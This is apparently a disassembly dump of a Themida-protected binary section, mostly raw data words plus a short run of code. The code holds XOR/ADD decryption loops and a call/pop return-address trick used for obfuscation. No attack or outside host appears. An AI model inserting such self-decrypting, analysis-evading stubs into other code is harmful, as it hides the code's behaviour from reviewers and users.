dd 90EF3AA5h, 0E384ACC0h, 28590BBFh, 0B9858D77h, 57061013h
dd 1ED18D89h, 905B0610h, 0E1A9BF66h, 0DF8B6650h, 55006A90h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 5665C78Eh, 6AC42E64h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0B29D4C14h, 9D297B38h
dd 61001C1h, 0A099D8Bh, 6A0610h, 1A699509h, 858D0610h
dd 614D69Ah, 8D01FB8Bh, 6102285h, 0F05C083h, 38Ah, 97C38000h
dd 89DE8B50h, 85092404h, 61004CDh, 880F006Ah, 6, 1385BD8Bh
dd 6A0610h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 56C35242h, 0A28EE117h, 95FFB072h, 6101D19h, 0E8E38166h
dd 0D88D8D41h, 6A0613AFh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0AD8AC355h, 0D9B563B7h
dd 0E81CBB81h, 0D1FF2CF8h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 42C35141h, 83F7D776h, 102209BDh, 850F0106h
dd 0E9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 6CC35040h, 8BC2ACD6h, 11830FA1h, 0F000000h, 0B84h
dd 6E900h, 6CF20000h, 0ED8028B7h, 2329BD89h, 26A0610h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2DC35040h
dd 6E854B6Eh, 80BA3DB3h, 9D8B1ACFh, 6102E8Dh, 0DA8B6690h
dd 0DE850h, 36860000h, 117C2D4Bh, 0C7E00554h, 8B0F6997h
dd 6A905BF9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 150C357h, 18820F6Ah, 0E9000000h
dd 13h, 7AAE3508h, 681188B1h, 1411BC05h, 3EB3E122h, 0F808BA3h
dd 95FFFBB7h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 64C35343h, 0E9DE9F9h
db 2 dup(0)
word_598B0A dw 0E8h ; DATA XREF: Themida_:0054B938o
dd 5D000000h, 0D6A4ED81h, 0BB660614h, 0BD89DD6Bh, 6102A89h
dd 1199BD8Bh, 858D0610h, 61399B6h, 0EF8166F8h, 50903FB1h
dd 63BBBB52h, 310F0011h, 0BE85250h, 37000000h, 0B63C75h
dd 29D9CD18h, 0F5B52D1h, 0F525031h, 5A585A31h, 50585A58h
dd 0FEB70F90h, 35FF64h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F96C351h
dd 686h, 35BD8900h, 6406101Bh, 2589h, 0BD8B0000h, 61018C1h
dd 6830Fh, 9D2B0000h, 61018F1h, 141985FFh, 6A0610h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 21F040C3h, 6AFB8B66h, 0FAC4BBFFh, 0B5FF7CCAh, 6102ED5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h
dd 14B63847h, 0E3717E69h, 2A6D8D89h, 95FF0610h, 6100615h
dd 14EE9h, 0B0DE8B00h, 27BB6600h, 0F70E65Fh, 0E85h, 8D8B6000h
dd 6100BDDh, 2A11BD89h, 0E4610610h, 0FE971h, 0E5A40000h
dd 7B05F1C6h, 67360A38h, 6CF761A0h, 0F613C8Ah, 11283h
dd 10E900h, 0D100000h, 3CDD0F97h, 904D70DEh, 7D4D371Eh
dd 0B60FC15Dh, 0F99589C8h, 0BA061012h, 6, 6E9h, 35E21200h
dd 8B195690h, 0AA8EBBC1h, 0E8C15BABh, 0F7816604h, 0DE9E059h
dd 12000000h, 29E37D03h, 7A45DE4Bh, 688F6566h, 0FE2F766h
dd 680h, 658D8900h, 2B06100Ah, 0D18BFCC8h, 0AAE9h, 0C6EB8100h
dd 0BB3279B2h, 6DC4050Fh, 1858Bh, 0E8600000h, 6, 2E923C71h
dd 9D89902Ah, 61018F9h, 8361FC5Bh, 858907C0h, 610137Dh
dd 100C083h, 100D6585h, 2D8D8906h, 3B061014h, 2F830FD0h
dd 0F000000h, 68Bh, 0DEDB8100h, 0E8163167h, 0Ah, 88BF6076h
dd 0CD90123Fh, 8B515A61h, 102DD59Dh, 0E95F5F06h, 3Bh, 1FC1B589h
dd 8D8B0610h, 0FFFFFFFFh, 83FA8B66h, 840F01E1h, 23h, 0C1CB8166h
dd 0FFA5833Eh, 0FEFFFFFFh, 6870Fh, 9D8B0000h, 6100975h
dd 19589h, 0E90000h, 8D000000h, 144FD5B5h, 0E9BD8B06h
dd 29061007h, 101449BDh, 89006A06h, 101915B5h, 0C995FF06h
dd 6A061031h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 942CC353h, 0A098D09h, 9D8B0610h
dd 61004CDh, 21CDBD8Bh, 2EB90610h, 6600000Fh, 0EB55CF81h
dd 60FCE183h, 2ED18501h, 0D38A0610h, 6AFC61h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0DB904C3h
dd 58949DA6h, 0C02BF9C8h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0F2C35040h, 0C49AB79Eh, 18C5858h, 1005619Dh
dd 0F5506006h, 65DB815Eh, 616BB4F8h, 0BAh, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 11784779h, 0E59529B8h, 0AD06100Dh, 0E8D1C233h, 0E983D003h
dd 6AF47504h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 8F91C351h, 279D8D29h, 880D0610h
dd 0E9000000h, 7, 0B0E4AEB7h, 8B15CC3Ah, 1009F595h, 89858906h
dd 8B061015h, 1023198Dh, 0D9B70F06h, 28298D89h, 8B500610h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0C6C35141h, 6AB112h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
dd 0E2BBD0C3h, 0F11B9F04h, 80F63540h, 0BD8391D7h, 6101E29h
dd 0C8840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 3ECDC356h, 0C521D995h
dd 56601DE5h, 41BD8B5Eh, 61061012h, 0B8h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 80124FBEh, 0FCC5CB7h, 0C8Bh, 6810F00h, 89000000h, 1023618Dh
dd 858D8D06h, 6A06104Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0E179C357h, 660C2698h
dd 0E95547BFh, 0Bh, 8DD4974Ch, 74D38B44h, 0FF9B51F2h, 56006AE1h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 6C661343h, 857680CBh, 83F914EBh, 1022C1BDh, 840F0006h
dd 4B3h, 1C91B589h, 0BD830610h, 61022C1h, 0BB840F01h, 0F000004h
dd 781h, 87BB5300h, 5F5039EBh, 22C1BD83h, 0F030610h, 46B86h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 8478E4B6h, 0E897A5AFh, 13h, 7FD12C9Ch, 5FD93DAh
dd 0FE51BFFFh, 0C0E6E17Fh, 0E95DA4A2h, 10h, 4082700Dh
dd 70E691DCh, 0BCC08025h, 0AE10C602h, 6A605Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 4FC60BC3h, 0BD09F6AAh, 61006BDh, 0DA99D29h, 8C660610h
dd 50006AD9h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 99D892AEh, 14E9h, 141B5400h, 0B4F1273Ch
dd 0A2ACB600h, 1828FF18h, 87250165h, 4E1803Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0E1C35242h, 0A78D0948h
dd 4586C9E9h, 0FC90A92h, 17884h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AB336A42h
dd 85898EADh, 6101A89h, 2185858Bh, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F1E435C3h
dd 0A0EA385Bh, 0F7818E0Ah, 3548FA23h, 14E9h, 55759600h
dd 0CF825986h, 0B9B5C3E4h, 0AEF67D7Ch, 311246B5h, 0FD8533E7h
dd 6A061011h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0A028C356h, 895037D8h, 6A2404h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 0CE0DD1C3h, 9D2B49CEh, 6100771h, 0BB66006Ah, 0B66879CDh
dd 669E5219h, 481FE8Bh, 0CCEA4924h, 51006A61h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 1D86AB9h, 16534C22h
dd 95FF0AB7h, 61005D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 4AC35242h, 0F855F1Dh, 88Fh, 0DD806000h
dd 0D3BF0F52h, 65B58961h, 89061005h, 13C26D85h, 0DAB70F06h
dd 20CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0A7B781A5h, 6AFCF73h, 10E9h, 2FE75400h
dd 9C552BB1h, 78059C8Dh, 0CC93BB7Fh, 65858B9Ch, 6A0613C2h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0C18EC350h, 7D7D2D72h, 0FE8B668Dh, 1800C7h
dd 0B5890000h, 6100639h, 0C269B58Bh, 6A0613h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F3864FC3h
dd 9B2C3EB2h, 85891EF2h, 610171Dh, 0E25858Bh, 6A0610h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 720762C3h, 5CA36923h, 3108F538h, 102EA1B5h, 0F068906h
dd 38Bh
dd 0DFBF0F00h, 2185858Bh, 81660610h, 89532CE7h, 0BD8B0446h
dd 6101F8Dh, 52505096h, 0AE9h, 19471000h, 3D3AE378h, 0FAD59BBh
dd 6E931h, 53E90000h, 4069EE1Dh, 8B96585Ah, 101EA59Dh
dd 65B5FF06h, 6A0613C2h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 9836C350h, 3F778165h
dd 3C24A44Bh, 481BD8Bh, 0C7680610h, 0E9551AEBh, 0Dh, 3BACE58Ah
dd 2B9FD419h, 0CA5251CBh, 2434810Eh, 5505E838h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 5858930h
dd 8D061028h, 13C26D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 0B0BA8614h, 87506430h
dd 0E9D98B66h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh
dd 0AFB3BB50h, 489271Eh, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0D565C01h, 0F30B638Dh
dd 899D29A1h, 29061014h, 10112D95h, 0D595FF06h, 8B061005h
dd 840F61FBh, 0
; ---------------------------------------------------------------------------
mov dword ptr [ebp+61022C1h], 3
push ebx
mov [ebp+6101095h], edi
pop edi
cmp dword ptr [ebp+613C26Dh], 0
jz loc_599478
mov ebx, [ebp+6100C11h]
jmp loc_599493
; ---------------------------------------------------------------------------
mov [ebp+610063Dh], ecx
loc_599478: ; CODE XREF: Themida_:00599461j
; Themida_:0059948Fj
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_599478
jmp short loc_5994C9
; ---------------------------------------------------------------------------
loc_599493: ; CODE XREF: Themida_:0059946Dj
; Themida_:005994AAj
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_599493
jmp short loc_5994C9
; ---------------------------------------------------------------------------
loc_5994AE: ; CODE XREF: Themida_:005994C5j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_5994AE
jmp short $+2
loc_5994C9: ; CODE XREF: Themida_:00599491j
; Themida_:005994ACj
mov eax, eax
push 0
push ebx
call sub_5994D6
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5994D6 proc near ; CODE XREF: Themida_:005994CEp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5994D6 endp
; ---------------------------------------------------------------------------
dw 3ED0h
dd 44BC02A2h, 0E9A78BD8h, 6, 81FA897Dh, 0BD83613Eh, 61022C1h
dd 6A850F03h, 6A000004h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 76CEC351h, 51CB8151h
dd 5F45E8C9h, 616664BFh, 6DBD8355h, 613C2h, 433840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 0CC00EAC3h, 15A99D8Bh, 0B5FF0610h, 613C26Dh, 32B31FBBh
dd 0B315BF7Bh, 95FF720Fh, 6102FA5h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Dh, 0A0C35646h, 0E98665F7h, 1F0F09BAh
dd 0C985896Fh, 8906101Dh, 1001D9BDh, 61B58B06h, 0F90613C2h
dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 3D063FC3h, 96F51DEFh, 0CA98BF66h
dd 14E850h, 0C06B0000h, 8D6116B1h, 0D3B008Fh, 0C4F1D7A0h
dd 0F47D629h, 8B662C0Dh, 0E9965FD8h, 8, 625F44D1h, 28D3BF71h
dd 0C26DB5FFh, 95890613h, 6103199h, 122595FFh, 85290610h
dd 6100DF1h, 0C261B58Bh, 57BB0613h, 8B698487h, 1021D185h
dd 0C5BD2306h, 8906101Ah, 0C486h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0C463B828h
dd 0F9F7E443h, 8D898D67h, 6100621h, 9F5958Bh, 81660610h
dd 83BA1BF7h, 0FE904C2h, 7000000h, 67415C5Ah, 19750285h
dd 0E5D98BEh, 5089F0D0h, 6AE78120h, 8D28ABA4h, 13D7C285h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0AA72EC15h, 1A852F3Bh, 459589BBh, 8906100Ch
dd 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 816648F2h, 0FBF47EBh, 6AF8B7h, 6DB5FFF5h
dd 890613C2h, 1022A18Dh, 9595FF06h, 6A061004h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 48ECC355h, 3E2379AAh, 0F5BADCBFh, 8BBB5042h, 895DD811h
dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 513BA4C3h, 12E84BA2h, 40000000h, 0B5F87951h
dd 0F40897E0h, 895C6220h, 8F1C905Bh, 5800FB9h, 0BF000000h
dd 350ED703h, 6DB5FF5Fh, 6A0613C2h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DF1FC356h
dd 79D5EFE5h, 55C78166h, 359D8B40h, 0FF061019h, 10162D95h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 9E97Fh, 0F4640000h, 58C43ECh, 8B4E88E8h
dd 102FD5BDh, 51BD8306h, 61013h, 5D840Fh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 46EA2EC3h, 0B589F960h, 6102825h, 7E85061h, 36000000h
dd 0B4A1645Fh, 0FC8AC370h, 2434895Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0F5C35040h, 359D8B37h, 0FF061009h
dd 13C26DB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 21BD8BA5h, 0FF06100Ah, 100C1995h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 73E03115h, 6890Fh, 0BD8B0000h, 6100E9Dh
dd 0FF75DF80h, 13C26DB5h, 0CD850906h, 89061021h, 102D21BDh
dd 2195FF06h, 6A061016h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0DEE8C355h, 7F712244h
dd 535E4FBAh, 1800Fh, 8BFC0000h, 102A95BDh, 89BD8306h
dd 206100Fh, 49840Fh, 7E90000h, 0E9000000h, 6E36434Eh
dd 0BD0972DEh, 610241Dh, 10C5858Bh, 0BD330610h, 610131Dh
dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 5D84C355h, 0C03512C2h, 6672F01Bh
dd 0C78AEEBBh, 102A2585h, 6, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0CAF31EF4h
dd 26E344A5h, 0F259E955h, 9E8FFFFh, 0FD000000h, 0C7382E90h
dd 0EF1C1FFh, 8B5BB4B7h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 8DF98BDBh, 1013B985h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h
dd 0C3524200h, 0D2059E50h, 8B602644h, 100F31B5h, 0F2BF0F06h
dd 8B665061h, 240489D8h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 0BD31ABC3h, 6101C0Dh
dd 858D006Ah, 614E71Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 70C35747h, 8BF42096h, 100645BDh, 5C08306h
dd 0E990D88Bh, 0Eh, 713B040Eh, 42CD23B6h, 7AC04ED4h, 6650B5D3h
dd 5690FE8Bh, 5BF88B66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0BE7A2DC3h, 0DF8B66FBh
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 0D67A15C3h, 23499D8Bh, 95FF0610h, 6101D19h
dd 0C840Fh, 810F0000h, 6, 870Fh, 8D8D0000h, 613AFD8h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 6658C7CBh
dd 0FF5E48BFh, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 47A9E4ADh, 9589F028h
dd 6102795h, 5ED78166h, 9BD8370h, 1061022h, 6D850Fh, 9D890000h
dd 6102D45h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1B0424h, 57470000h, 0A86DC4C3h, 0F4F229C8h, 0CB816622h
dd 0F509A6Eh, 280h, 89D88B00h, 0B5892404h, 6100CA1h, 28719D89h
dd 95FF0610h, 6100495h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 42C35343h, 0E9AF32A0h, 0F0Fh, 0E8h, 0ED815D00h
dd 614E726h, 2DBD8B60h, 0F06100Ah, 68Ch, 8DBD8B00h, 61061020h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BAC35545h
dd 69A8D454h, 0B4115C8Ah, 0BD315651h, 6102F89h, 858D5B5Bh
dd 61399B6h, 1479B589h, 0E9900610h, 0Bh, 0E7864B71h, 1C5BD5A1h
dd 50FB6668h, 16E4BB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 92F42299h, 3FA6FF36h
dd 0FF64D98Ah, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 0D67A1580h, 7A7137D2h
dd 2DBD8BEAh, 64061031h, 2589h, 0BB660000h, 85FFFCD2h
dd 6101419h, 6E8h, 52C7F500h, 0E96D94D0h, 11h, 3934396Ch
dd 3BDDDC2Ch, 0F8113808h, 5BA1351Dh, 0FF6A5B48h, 83CB8166h
dd 0F88B663Ch, 1F51B5FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0A2D119C3h, 84B0AECBh
dd 9DA6F381h, 9589566Bh, 6100EF9h, 61595FFh, 40E90610h
dd 8B000001h, 100F7D9Dh, 6600B006h, 0E6FD91BBh, 0FE8B6670h
dd 0FF871E4h, 613CDEBFh
dd 121830Fh, 0FF80000h, 0BD8BC8B6h, 6100655h, 6BAh, 7E900h
dd 35CE0000h, 2A15F094h, 89C18B55h, 10099185h, 4E8C106h
dd 758D8960h, 89061023h, 101F059Dh, 0F7666106h, 1D890FE2h
dd 0E8000000h, 11h, 0FBE77058h, 7BC5F700h, 91AB57F8h, 2B50985Bh
dd 0E4EB81FAh, 5F037AF2h, 880FC82Bh, 0Ch, 6830Fh, 0BD8B0000h
dd 61004E5h, 0BD8BD18Bh, 610310Dh, 95DA46BBh, 0A1E900h
dd 0DE8B0000h, 141D9D09h, 858B0610h, 4, 0FE9h, 0D75A7800h
dd 0F5FD432Bh, 80F5A03Bh, 0A498BF70h, 4ADB8166h, 7C083F9h
dd 83D7F380h, 515100C0h, 5B5B5B50h, 0FDB50DBFh, 0FD03B66h
dd 2983h, 0EE800h, 0BDEE0000h, 3B22F619h, 72341CE7h, 20688662h
dd 5E9h, 6C770800h, 0E95FD20Ah, 3Bh, 0C35B531h, 8D8B0610h
dd 0FFFFFFFFh, 5919D8Bh, 0E1830610h, 20840F01h, 8B000000h
dd 10168D9Dh, 0FFA58306h, 0FEFFFFFFh, 9589D88Ah, 4, 30DD9589h
dd 0E90610h, 8D000000h, 145F03B5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0B71806B0h
dd 0B529519Dh, 6101065h, 0E9006A5Bh, 8, 3B021BBAh, 83F5B507h
dd 31C995FFh, 0B9F80610h, 104Bh, 3025BD8Bh, 0E1830610h
dd 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0D3816642h, 53FCCFC9h, 0B85BF9h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0BD65C351h, 0BDA8689Eh, 89F7BB63h, 1031558Dh
dd 0E59D8B06h, 2B061010h, 51006AD2h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0D99D8BA4h
dd 0AD06102Eh, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 7795C356h, 1EBCBF73h, 0BD23131Dh, 61008B5h, 2A35BD8Bh
dd 880D0610h, 0F000000h, 682h, 8D9D8900h, 8B061020h, 1009F595h
dd 68E0F06h, 81000000h, 0DAA1B7CBh, 0DD953136h, 8B061027h
dd 1023198Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 8B77480Fh, 1006099Dh, 0C28B5006h
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 180C356h, 101AF1B5h, 6E806h, 31920000h, 97D5B567h, 2EF19D29h
dd 835B0610h, 101E29BDh, 840F0006h, 4Fh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 15h, 67C35646h, 0B8DFh
dd 8DF90000h, 104E858Dh, 8BEBBB06h, 0E1FF7020h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0BDC35242h, 83E7BECEh
dd 1022C1BDh, 840F0006h, 468h, 0AD83F1BFh, 1D852965h, 8306100Ch
dd 1022C1BDh, 840F0106h, 46Bh, 13E9h, 0D7450D00h, 9649183Ch
dd 4D1CAEBFh, 0AC67E284h, 5E938D3Dh, 22C1BD83h, 0F030610h
dd 41086h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 7FA2FDDEh, 0E231A7A5h, 9D8B4492h
dd 61000E9h, 51958960h, 66061016h, 6AD98Ch, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 3ADC53C3h
dd 8A0F1D50h, 6, 619BD2Bh, 0E1800610h, 57006A04h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 6656AC99h, 0F91EDF81h, 0FC90A5Fh, 1A784h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
dd 8B6657B4h, 858B5FFEh, 6102185h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 0A5C35141h, 0D88A02D8h, 11FD8533h
dd 8EBB0610h, 662BBEBAh, 0BF90FE8Bh, 382CC713h, 3860F50h
dd 66000000h, 6A90F88Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 8205C351h, 49BD8BC3h
dd 6A06101Eh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 757DF527h, 0F925FBEAh, 0CE9A5h, 96650000h
dd 0C8526FC3h, 2F45D513h, 4E8FFEFh, 0FF000000h, 60001F03h
dd 6FB82EBAh, 8DBF6624h, 0E9506161h, 0Eh, 7151086Ah, 8FDDC84Ch
dd 0B1F8BD0h, 448B635Fh, 8B660424h, 0E9008BF8h, 0Eh, 9DEB8C09h
dd 0C2C7E587h, 6FB8D4E4h, 44896BB1h, 50570424h, 0F88B6652h
dd 0DE8A310Fh, 585B585Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 67C35747h, 2D099531h, 3CB70610h, 5D595FFh
dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 4F974DC3h, 0B01D15F5h, 603FFD1Dh, 20E9BD8Bh
dd 8D890610h, 61020CDh, 4ABF6661h, 6D8589CAh, 8A0613C2h
dd 186E9FEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 9529FCC3h, 6100065h, 0C265858Bh
dd 8B660613h, 1800C7DEh, 8B000000h, 1006259Dh, 69B58B06h
dd 6A0613C2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 9860C351h, 0BD1E565Fh, 0D78A12C9h
dd 535CA4BFh, 25858B2Fh, 0E906100Eh, 7, 0E74C9644h, 893C8997h
dd 0EFBF6606h, 85858BA1h, 6A061021h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0F8EBC350h
dd 7175EAA7h, 5D79DCA8h, 8819EF81h, 468972D2h, 0C59D2904h
dd 9606102Dh, 0FAB0BF66h, 12E89650h, 7E000000h, 0D329BBEDh
dd 90CBDC12h, 23D44D6Ch, 9F1B7DABh, 1C781E8h, 5F3C75E0h
dd 0C265B5FFh, 9D8B0613h, 61023B1h, 7A4FB968h, 7E87Dh
dd 100B0000h, 72FFA27Dh, 34815BCBh, 654C4624h, 8DD88B7Dh
dd 13C26D85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0FC094975h, 23CD6A9Ch, 2890F32h
dd 0B3000000h, 12E9E0h, 60A30000h, 0F62C2BE2h, 3A49245Fh
dd 57A4CCBBh, 5B302DB7h, 0DA8B6650h, 8B240489h, 101CFD9Dh
dd 0D595FF06h, 6A061005h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 0A3C1C357h, 1C258D89h
dd 0FB8B0610h, 85C7F961h, 61022C1h, 3, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0B9C35141h, 0DA18D01h, 0BD830610h
dd 613C26Dh, 3A840F00h, 0F000000h, 683h, 0D2F78100h, 0E97C5DD6h
dd 44h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
dd 0C35141h, 209425FCh, 89F98B66h, 1031798Dh, 0C305006h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 84C35747h, 295026E4h
dd 297440AAh, 6810FE6h, 8B000000h
